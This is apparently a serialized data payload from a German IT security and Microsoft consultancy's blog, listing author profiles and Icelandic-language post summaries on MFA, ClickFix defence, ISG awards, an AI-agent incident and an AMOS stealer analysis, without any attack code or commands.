Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13076,"avatar":13077,"permalink":13078,"twitter":13079,"linkedin":13080,"imageOffsetTop":13060},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13082,"avatar":13083,"permalink":13084,"twitter":13085,"linkedin":13086,"imageOffsetTop":13087,"imageOffsetLeft":13088},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13090,"avatar":13091,"permalink":13092,"linkedin":13093},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13095,"avatar":13096,"permalink":13097,"linkedin":13098,"twitter":13099},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13101,"avatar":13102,"permalink":13103,"linkedin":13104,"twitter":13105},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13107,"avatar":13108,"permalink":13109,"linkedin":13110,"twitter":13111},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13113,"avatar":13114,"permalink":13115,"linkedin":13116,"twitter":13117,"imageOffsetTop":13118,"imageOffsetLeft":13119},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13121,"avatar":13122,"permalink":13123,"twitter":13071,"linkedin":13124},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13126,"avatar":13127,"permalink":13128,"twitter":13071,"linkedin":13129},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13131,"avatar":13132,"permalink":13133,"twitter":13071,"linkedin":13124,"imageOffsetTop":13060},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13135,"avatar":13136,"permalink":13137,"twitter":13071,"linkedin":13138},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13140,"avatar":13141,"permalink":13142,"twitter":13143,"linkedin":13144},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13071,"linkedin":13124,"imageOffsetTop":13060},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13153,"linkedin":13153},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13155,"avatar":13156,"permalink":13157,"twitter":13158,"linkedin":13159,"imageOffsetTop":13160},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13162,"avatar":13163,"permalink":13164,"linkedin":13165,"twitter":13071},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13167,"avatar":13168,"permalink":13169,"linkedin":13170,"twitter":13071},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13176},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13178,"avatar":13179,"permalink":13180,"linkedin":13181,"twitter":13071},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13183,"avatar":13184,"permalink":13185,"linkedin":13186,"twitter":13071,"imageOffsetTop":13060},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13188,"avatar":13189,"permalink":13190,"linkedin":13191,"twitter":13071},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13193,"avatar":13194,"permalink":13195,"twitter":13071},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13197,"avatar":13198,"permalink":13199,"twitter":13071,"linkedin":13200},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13202,"avatar":13203,"permalink":13204,"twitter":13205,"linkedin":13206},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13208,"avatar":13209,"permalink":13210,"linkedin":13211,"twitter":13071},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13213,"avatar":13214,"permalink":13215,"twitter":13071,"linkedin":13124},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13217,"avatar":13218,"permalink":13219,"twitter":13220,"linkedin":13220,"imageOffsetTop":13060,"socials":13221},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13222,13225],{"text":13223,"href":13224},"Blog","https://emptydc.com",{"text":13226,"href":13227},"Podcast","https://hairlessinthecloud.com",{"display_name":13229,"avatar":13230,"permalink":13231,"twitter":13232,"linkedin":13233},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13235,"avatar":13236,"permalink":13237,"twitter":13071,"linkedin":13124},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13239,"avatar":13240,"permalink":13241,"twitter":13242,"linkedin":13124},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13244,"avatar":13245,"permalink":13246,"twitter":13247,"linkedin":13248},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13253},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13255,"avatar":13256,"permalink":13257,"twitter":13258,"linkedin":13259},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13265},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13267,"avatar":13268,"permalink":13269,"linkedin":13270,"twitter":13071},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13272,"avatar":13273,"permalink":13274,"linkedin":13275,"twitter":13071},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13277,"avatar":13278,"permalink":13279,"linkedin":13280,"twitter":13281},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13283,"avatar":13284,"permalink":13285,"linkedin":13286},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13293,"avatar":13294,"permalink":13295,"linkedin":13296},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13303,"avatar":13304,"permalink":13305,"linkedin":13306,"imageOffsetTop":13060},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13308,"avatar":13309,"permalink":13310,"linkedin":13311,"imageOffsetTop":13060},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13313,"avatar":13314,"permalink":13315,"linkedin":13316,"imageOffsetTop":13160},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13318,"avatar":13319,"permalink":13320,"linkedin":13321,"imageOffsetTop":13160},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":522,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13160},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13327,"avatar":13328,"permalink":13329,"linkedin":13330,"imageOffsetTop":13331,"imageOffsetLeft":13332},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13334,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13338,"imageOffsetLeft":13339},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13341,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13345,"imageOffsetLeft":13087},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13347,"Alexander Schlindwein":13348,"Sophie Luna":13349,"Nadine Klein":13350,"Karsten Kleinschmidt":13351,"Julian Wendt":13352,"Holger Bunkradt":13353,"Ralf Mania":13354,"Oliver Kieselbach":13355,"Steffen Schwerdtfeger":13356,"Gunnar Winter":13357,"Jan Petersen":13358,"Thorsten Kunzi":13359,"Moritz Pohl":13360,"Thorben Pöschus":13361,"Christoph Hannebauer":13362,"Marco Scheel":13363,"Christopher Brumm":13364,"Florian Klante":13365,"Niklas Bachmann":13366,"Nils Krautkrämer":13367,"Patrick Treptau":13368,"Peter Beckendorf":13369,"Patrick Sobau":13370,"Jörg Wunderlich":13371,"Michael Breither":13372,"Christian Kanja":13373,"Zeba Hoffmann":13374,"Jochen Fröhlich":13375,"Jan Geisbauer":13376,"Gerrit Reinke":13380,"Christian Kordel":13381,"Stephan Wälde":13382,"Carolin Kanja":13383,"Adrian Ritter":13384,"Marvin Bangert":13385,"Thorsten Pickhan":13386,"Christian Lorenz":13387,"Denis Böhm":13388,"Fabian Bader":13389,"Juan Jose Fernandez Perez":13390,"Mahschid Sayyar":13391,"Benjamin Dassow":13392,"Markus Walschburger":13393,"Jonathan Haist":13394,"Daniel Rohregger":13395,"Thomas Naunheim":13396,"Florian Stöckl":13397,"Pascal Asch":13398,"Markus Kättner":13399,"Anna Ulbricht":13400,"Annette Brauns":13401},{"display_name":13056,"avatar":13057,"permalink":13058,"linkedin":13059,"imageOffsetTop":13060},{"display_name":13062,"avatar":13063,"permalink":13064,"twitter":13065,"linkedin":13066},{"display_name":13068,"avatar":13069,"permalink":13070,"twitter":13071,"linkedin":13072,"imageOffsetLeft":13073,"imageOffsetTop":13074},{"display_name":13076,"avatar":13077,"permalink":13078,"twitter":13079,"linkedin":13080,"imageOffsetTop":13060},{"display_name":13082,"avatar":13083,"permalink":13084,"twitter":13085,"linkedin":13086,"imageOffsetTop":13087,"imageOffsetLeft":13088},{"display_name":13090,"avatar":13091,"permalink":13092,"linkedin":13093},{"display_name":13095,"avatar":13096,"permalink":13097,"linkedin":13098,"twitter":13099},{"display_name":13101,"avatar":13102,"permalink":13103,"linkedin":13104,"twitter":13105},{"display_name":13107,"avatar":13108,"permalink":13109,"linkedin":13110,"twitter":13111},{"display_name":13113,"avatar":13114,"permalink":13115,"linkedin":13116,"twitter":13117,"imageOffsetTop":13118,"imageOffsetLeft":13119},{"display_name":13121,"avatar":13122,"permalink":13123,"twitter":13071,"linkedin":13124},{"display_name":13126,"avatar":13127,"permalink":13128,"twitter":13071,"linkedin":13129},{"display_name":13131,"avatar":13132,"permalink":13133,"twitter":13071,"linkedin":13124,"imageOffsetTop":13060},{"display_name":13135,"avatar":13136,"permalink":13137,"twitter":13071,"linkedin":13138},{"display_name":13140,"avatar":13141,"permalink":13142,"twitter":13143,"linkedin":13144},{"display_name":13146,"avatar":13147,"permalink":13148,"twitter":13071,"linkedin":13124,"imageOffsetTop":13060},{"display_name":13150,"avatar":13151,"permalink":13152,"twitter":13153,"linkedin":13153},{"display_name":13155,"avatar":13156,"permalink":13157,"twitter":13158,"linkedin":13159,"imageOffsetTop":13160},{"display_name":13162,"avatar":13163,"permalink":13164,"linkedin":13165,"twitter":13071},{"display_name":13167,"avatar":13168,"permalink":13169,"linkedin":13170,"twitter":13071},{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13176},{"display_name":13178,"avatar":13179,"permalink":13180,"linkedin":13181,"twitter":13071},{"display_name":13183,"avatar":13184,"permalink":13185,"linkedin":13186,"twitter":13071,"imageOffsetTop":13060},{"display_name":13188,"avatar":13189,"permalink":13190,"linkedin":13191,"twitter":13071},{"display_name":13193,"avatar":13194,"permalink":13195,"twitter":13071},{"display_name":13197,"avatar":13198,"permalink":13199,"twitter":13071,"linkedin":13200},{"display_name":13202,"avatar":13203,"permalink":13204,"twitter":13205,"linkedin":13206},{"display_name":13208,"avatar":13209,"permalink":13210,"linkedin":13211,"twitter":13071},{"display_name":13213,"avatar":13214,"permalink":13215,"twitter":13071,"linkedin":13124},{"display_name":13217,"avatar":13218,"permalink":13219,"twitter":13220,"linkedin":13220,"imageOffsetTop":13060,"socials":13377},[13378,13379],{"text":13223,"href":13224},{"text":13226,"href":13227},{"display_name":13229,"avatar":13230,"permalink":13231,"twitter":13232,"linkedin":13233},{"display_name":13235,"avatar":13236,"permalink":13237,"twitter":13071,"linkedin":13124},{"display_name":13239,"avatar":13240,"permalink":13241,"twitter":13242,"linkedin":13124},{"display_name":13244,"avatar":13245,"permalink":13246,"twitter":13247,"linkedin":13248},{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13253},{"display_name":13255,"avatar":13256,"permalink":13257,"twitter":13258,"linkedin":13259},{"display_name":13261,"avatar":13262,"permalink":13263,"twitter":13264,"linkedin":13265},{"display_name":13267,"avatar":13268,"permalink":13269,"linkedin":13270,"twitter":13071},{"display_name":13272,"avatar":13273,"permalink":13274,"linkedin":13275,"twitter":13071},{"display_name":13277,"avatar":13278,"permalink":13279,"linkedin":13280,"twitter":13281},{"display_name":13283,"avatar":13284,"permalink":13285,"linkedin":13286},{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291},{"display_name":13293,"avatar":13294,"permalink":13295,"linkedin":13296},{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301},{"display_name":13303,"avatar":13304,"permalink":13305,"linkedin":13306,"imageOffsetTop":13060},{"display_name":13308,"avatar":13309,"permalink":13310,"linkedin":13311,"imageOffsetTop":13060},{"display_name":13313,"avatar":13314,"permalink":13315,"linkedin":13316,"imageOffsetTop":13160},{"display_name":13318,"avatar":13319,"permalink":13320,"linkedin":13321,"imageOffsetTop":13160},{"display_name":522,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13160},{"display_name":13327,"avatar":13328,"permalink":13329,"linkedin":13330,"imageOffsetTop":13331,"imageOffsetLeft":13332},{"display_name":13334,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13338,"imageOffsetLeft":13339},{"display_name":13341,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13345,"imageOffsetLeft":13087},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13405,"authors":13619},[13406,13423,13437,13451,13467,13480,13493,13506,13518,13534,13548,13563,13579,13590,13603],{"id":13407,"title":13408,"author":13409,"cta":494,"description":593,"hideInRecent":484,"layout":12924,"meta":13410,"moment":13415,"path":13416,"stem":13417,"tags":13418,"webcast":484},"content_is/posts/2026-09-22-end-of-mfa-sms.md","Endalok MFA-SMS",[13082],{"lang":12926,"date":13411,"categories":13412,"blogtitlepic":13413,"customExcerpt":13414},"2026-09-21",[235],"head-conditional-access.jpg","Hvers vegna fyrirtæki ættu núna að skipta yfir í phishing-resistant og sem mest lykilorðalausar innskráningaraðferðir.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,13419,13420,13421,13422],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13424,"title":13425,"author":13426,"cta":494,"description":593,"hideInRecent":484,"layout":12924,"meta":13427,"moment":13411,"path":13431,"stem":13432,"tags":13433,"webcast":484},"content_is/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Þegar notandinn er exploitið, og hvernig þú stöðvar það",[13056,13076],{"lang":12926,"date":13411,"categories":13428,"blogtitlepic":13429,"customExcerpt":13430},[235],"head-clickfix.jpg","ClickFix gerir notendur að sínum eigin árásaraðila: falsað CAPTCHA, eitt copy-paste, og skaðkóði keyrir í minninu án þess að neitt lendi á disknum. Hvernig Microsoft Defender greinir árásina, hvar greiningin rekst á takmörk og hvernig þú lokar glufunni með RunMRU-hunt og fjórum varnarlögum.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13434,13435,13436],"Defender","SOC","Endpoint Security",{"id":13438,"title":13439,"author":13440,"cta":494,"description":593,"hideInRecent":484,"layout":12924,"meta":13441,"moment":13411,"path":13445,"stem":13446,"tags":13447,"webcast":484},"content_is/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og dagleg vinna á sömu tölvu? Game Over.",[13217],{"lang":12926,"date":13411,"categories":13442,"blogtitlepic":13443,"customExcerpt":13444},[235],"head-game-over-en.jpg","Hvers vegna einn tenant dugar ekki fyrir CIO, og hvers vegna sá seinni er sjaldan hugsaður með. Managed Red Tenant aðskilur stjórnsýsluvinnu frá office-umhverfinu með sjálfum arkitektúrnum, Managed Dark Tenant heldur fyrirtækinu starfhæfu þegar vörnin fellur samt. Hvað það þýðir fyrir rekstrarlíkanið, SOC-merkið og sönnunarskyldurnar samkvæmt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,13448,13449,13450],"Privileged Access","Zero Trust","NIS2",{"id":13452,"title":13453,"author":13454,"cta":494,"description":13455,"hideInRecent":484,"layout":12924,"meta":13456,"moment":13457,"path":13462,"stem":13463,"tags":13464,"webcast":484},"content_is/posts/2026-08-08-isg-germany-2026.md","Fjórum sinnum Leader. glueckkanja í ISG-rannsókninni Þýskaland 2026",[13244],"ISG endurnefndi rannsóknina sína í ár. Úr Microsoft Cloud Ecosystem varð Microsoft AI and Cloud Ecosystem, og með nafninu hefur mælikvarðinn færst til: metið er ekki lengur hver innleiðir Microsoft-vettvanga, heldur hver rekur Copilot, agenta og AI-workload með stýranlegum hætti. Nýi mælikvarðinn hefur engu breytt um stöðu okkar. ISG Provider Lens® rannsóknin Þýskaland 2026 staðsetur okkur sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large market og mid market. Eftir 2021, 2023, 2024 og 2025 er þetta fimmta Leader-flokkunin í Þýskalandi, í Sviss kom stökkið inn í Leader-fjórðunginn tveimur vikum fyrr.",{"lang":12926,"date":13457,"categories":13458,"blogtitlepic":13460,"customExcerpt":13461},"2026-08-08",[13459],"Corporate","head-isg-de-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Þýskalandi sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large og mid market. Rannsóknin heitir nú Microsoft AI and Cloud Ecosystem, og mælikvarðinn hefur færst til: metið er hver rekur AI- og agent-workload með stýranlegum hætti.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13465,13466],"Award","ISG",{"id":13468,"title":13469,"author":13470,"cta":494,"description":13471,"hideInRecent":484,"layout":12924,"meta":13472,"moment":13473,"path":13477,"stem":13478,"tags":13479,"webcast":484},"content_is/posts/2026-07-31-isg-switzerland-2026.md","Úr Rising Star í Leader. glueckkanja í ISG-rannsókninni Sviss 2026",[13244],"Árið 2024 stofnuðum við glueckkanja Switzerland AG og fluttum inn í skrifstofu í zentroom við Bahnhofplatz 10b í Bern. Árið 2025 flokkaði ISG okkur sem Rising Star á svissneska markaðnum, sem þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn. Nú er stökkið skjalfest: ISG Provider Lens® rannsóknin 2026 staðsetur okkur í Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":12926,"date":13473,"categories":13474,"blogtitlepic":13475,"customExcerpt":13476},"2026-07-31",[13459],"head-isg-ch-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services. Tveimur árum eftir innkomuna á markaðinn í Bern, ári eftir Rising-Star-viðurkenninguna.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13465,13466],{"id":13481,"title":13482,"author":13483,"cta":494,"description":593,"hideInRecent":484,"layout":12924,"meta":13484,"moment":13485,"path":13489,"stem":13490,"tags":13491,"webcast":484},"content_is/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvað OpenAI/Hugging-Face-atvikið segir og hvað ekki",[13217],{"lang":12926,"date":13485,"categories":13486,"blogtitlepic":13487,"customExcerpt":13488},"2026-07-24",[235],"head-outbreak.jpg","AI-agent brýst út úr prófunarumhverfinu sínu, finnur zero-day og hakkar annað fyrirtæki. Hljómar eins og handrit, en gerðist í raun í júlí 2026. Tími fyrir yfirvegaða greiningu: með dálítilli sálfræði, tveimur security-veteranum og spurningunni um hvað þetta þýðir fyrir vörnina þína.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13492,13435,13449],"AI",{"id":13494,"title":13495,"author":13496,"cta":494,"description":13497,"hideInRecent":484,"layout":12924,"meta":13498,"moment":13499,"path":13503,"stem":13504,"tags":13505,"webcast":484},"content_is/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja í ISG Cybersecurity-rannsókninni 2026",[13244],"Nýir í fjórðungnum og strax Leader: ISG Provider Lens®-rannsóknin \"Cybersecurity – Services and Solutions 2026\" staðsetur glueckkanja sem Leader á sviði Next-Gen SOC/MDR Services fyrir þýsk millistór fyrirtæki. Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services útnefnir ISG okkur Rising Star, það er þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn á næstu 12 til 24 mánuðum.",{"lang":12926,"date":13499,"categories":13500,"blogtitlepic":13501,"customExcerpt":13502},"2026-07-22",[13459],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-rannsóknin Cybersecurity 2026 útnefnir glueckkanja Leader í fjórðungnum Next-Gen SOC/MDR Services (Midmarket). Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services erum við Rising Star. ISG staðfestir hjá okkur vöxt umfram meðaltal, djúpa Microsoft-security-sérþekkingu og SOC sem gengur allan sólarhringinn frá Þýskalandi.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13465,13466,235],{"id":13507,"title":13508,"author":13509,"cta":494,"description":13510,"hideInRecent":484,"layout":12924,"meta":13511,"moment":13512,"path":13515,"stem":13516,"tags":13517,"webcast":484},"content_is/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: hvað AI þarf í raun til að vinna",[13244],"Framleiðslufyrirtæki vill vita hverjar af 14.000 SKU-um þess séu í raun arðbærar. Svarið liggur í þremur kerfum sem hafa aldrei skipst á einum einasta gagnapunkti. Fram til skamms tíma kostaði það þrjár deildir, tvær vikur og talsverðan góðvilja að fá það. Frá byrjun árs 2026 getur AI svarað þessari spurningu á mínútum: farið yfir gögnin, dregið fram samhengið, framkallað tillögu. Að því gefnu að hún hafi aðgang.",{"lang":12926,"date":13512,"categories":13513,"blogtitlepic":13514},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13492,131],{"id":13519,"title":13520,"author":13521,"cta":494,"description":13522,"hideInRecent":484,"layout":12924,"meta":13523,"moment":13524,"path":13528,"stem":13529,"tags":13530,"webcast":484},"content_is/posts/2026-07-01-onboarding-process.md","Samningurinn undirritaður: svona fer onboardingið hjá okkur fram",[13334],"Hvernig fer onboardingið hjá ykkur eiginlega fram? Þetta er spurning sem mætir okkur aftur og aftur í samtölum við umsækjendur, því margir hafa upplifað að onboarding gangi brösuglega. Þeim mun meira máli skiptir okkur að þú hafir góða tilfinningu fyrir þessu frá byrjun.",{"lang":12926,"date":13524,"categories":13525,"blogtitlepic":13526,"customExcerpt":13527},"2026-07-01",[13459],"Onboarding_Blogheader","Samningurinn er undirritaður, fyrsta stóra skrefið er að baki. En hvað gerist næst? Við tökum þig með á bak við tjöldin í onboardinginu okkar, frá PreBoarding að fyrstu vikunni í teyminu.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13531,13532,13533],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13535,"title":13536,"author":13537,"cta":494,"description":13538,"hideInRecent":484,"layout":12924,"meta":13539,"moment":13540,"path":13544,"stem":13545,"tags":13546,"webcast":484},"content_is/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: við tilheyrum hópnum",[13244],"Í Microsoft-partner-vistkerfinu er til heil röð af viðurkenningum, og samt sker Frontier Partner Badge sig úr í uppbyggingu sinni frá hinum. Ekki er hægt að sækja um það, heldur er það veitt að frumkvæði Microsoft til þröngs, útvalins hóps samstarfsaðila sem verða að sannfæra í mörgum greinum samhliða, í stað þess að skína í einni. Microsoft prófar þarna sönnuða hæfni í Cloud & AI Platforms, í AI Business Solutions og í Security jafnt og beinir sér þannig að fyrirtækjum sem líta ekki á AI sem viðbót ofan á núverandi IT, heldur sem afrakstur samfelldrar arkitektúrs sem ber allt frá auðkenni yfir endapunktinn og inn í framleiðslurekstur AI.",{"lang":12926,"date":13540,"categories":13541,"blogtitlepic":13542,"customExcerpt":13543},"2026-06-26",[13459],"head-frontier-partner-badge.jpg","Nýlega bættist við Microsoft AI Cloud Partner Program ný toppviðurkenning, Frontier Partner Badge. Microsoft veitir hana aðeins þröngum, útvöldum hópi samstarfsaðila um allan heim, þeim sem afhenda AI-verkefni á öllum Microsoft-stackinum á traustan hátt, allt frá vinnustaðnum yfir cloud-vettvanginn og security og inn í AI-forritin sjálf, og hafa sannað þessa kröfu í raunverulegum verkefnum. Á DACH-svæðinu telur þessi hópur aðeins örfá fyrirtæki, og við erum eitt þeirra.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13465,13547,13492],"Microsoft Partner",{"id":13549,"title":13550,"author":13551,"cta":494,"description":13552,"hideInRecent":484,"layout":12924,"meta":13553,"moment":13554,"path":13558,"stem":13559,"tags":13560,"webcast":484},"content_is/posts/2026-06-09-vair-run.md","160 kílómetrar fyrir góðan málstað",[13341],"Sunnudagsmorgunn, klukkan 8:30, Holbeinsteg við Main. Ellefu samstarfsmenn í samræmdum NinjaCat-bolum, tilbúnir í Frankfurter Runden. Regn, eldingar og þrumur með í kaupbæti. Það að hlaupa fyrir góðan málstað var næg hvatning til að reima á sig hlaupaskóna þrátt fyrir slæmt veður.",{"lang":12926,"date":13554,"categories":13555,"blogtitlepic":13556,"customExcerpt":13557},"2026-06-08",[13459],"frankfurter-runden.png","Ellefu samstarfsmenn, 16 hringir, 160 kílómetrar, þrumuveður og verðlaunasæti: glueckkanja tók þátt í Frankfurter Runden 2026 og gaf fyrir hvern hlaupinn hring til VAIR e.V., sem er að byggja upp opinn íþrótta- og menningargarð í Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13561,13531,13562],"Top Arbeitgeber","Soziales Engagement",{"id":13564,"title":13565,"author":13566,"cta":494,"description":13567,"hideInRecent":484,"layout":12924,"meta":13568,"moment":13569,"path":13573,"stem":13574,"tags":13575,"webcast":484},"content_is/posts/2026-04-10-incident-to-intelligence.md","Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum",[522],"Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.",{"lang":12926,"date":13569,"categories":13570,"blogtitlepic":13571,"customExcerpt":13572},"2026-04-10",[235],"head-amos-stealer.png","Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13046,13576,13577,13578,13047],"Incident Response","macOS Security","Malware 